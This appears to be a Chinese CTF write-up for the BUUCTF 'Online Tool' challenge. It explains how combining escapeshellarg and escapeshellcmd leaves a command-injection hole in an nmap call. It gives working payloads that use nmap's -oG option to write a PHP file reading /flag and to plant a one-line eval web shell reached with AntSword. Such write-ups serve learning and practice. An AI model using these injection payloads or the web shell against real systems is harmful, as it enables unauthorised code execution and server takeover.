当前位置: 代码迷 >> 综合 >> 第三十三题——[BUUCTF 2018]Online Tool
  详细解决方案

第三十三题——[BUUCTF 2018]Online Tool

热度:54   发布时间:2023-11-19 19:38:54.0

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,看到源码

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

第二步:代码审计

  1. escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号。详细解释点这里
  2. escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。详细解释点这里
  3. 测试经过两次转义后的字符串
代码:
<?phphighlight_file(__FILE__);$host1 = $_GET['host'];$host2 = escapeshellarg($host1);$host3 = escapeshellcmd($host2);echo $host1."<br>".$host2."<br>".$host3."<br>";echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host3;
?>
结果:
123
'123'
'123'
nmap -T5 -sT -Pn --host-timeout 2 -F '123'
  1. 如果将输入的字符串使用单引号包裹起来,让本身的单引号形成闭合,就像sql注入一样,这样我们输入的就不是字符串而是命令,输入:host=‘123’
结果
'123'
''\''123'\''' ''\\''123'\\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''123'\\'''

5.可以F后面单引号形成了闭合表示空,而\\''的转移步骤:\\转移成了\,而\和后面的'转移成了',最后结果为''表示空‘\\'''的转移步骤:保留第一个',\\'''同理变成'''正好和前一个'形成两个闭合,这样123就变成了命令而不是字符串。

第三步:构建漏洞语句

  1. nmap有个参数-oG可以使扫描结果保存为指定名字的文件。
  2. 构建host=' <?php echo 'cat /flag'?> -oG 1.php '之后访问1.php就可以获取flag了echo后面不是单引号,单引号会被加上\,是~键的反引号,单引号内的内容需要空格和单引号隔开。
  3. 或者构建host=' <?php @eval($_POST["pass"]);?> -oG 1.php '上传一句话木马,之后通过蚁剑连接后查找flag。

第四步:获取flag

  1. 输入host=' <?php echo 'cat /flag'?> -oG 1.php '之后,得到文件存放地址
    在这里插入图片描述

  2. 之后访问a7b2b664243bdf09839e302ca8016d16/1.php即可得到flag
    在这里插入图片描述

  3. 输入host=' <?php @eval($_POST["pass"]);?> -oG 2.php ',上传一句话木马
    在这里插入图片描述

  4. 使用蚁剑连接http://82ef4865-88fd-4c18-8321-d8ef4afa4085.node3.buuoj.cn/a7b2b664243bdf09839e302ca8016d16/2.php,获取flag
    在这里插入图片描述

  相关解决方案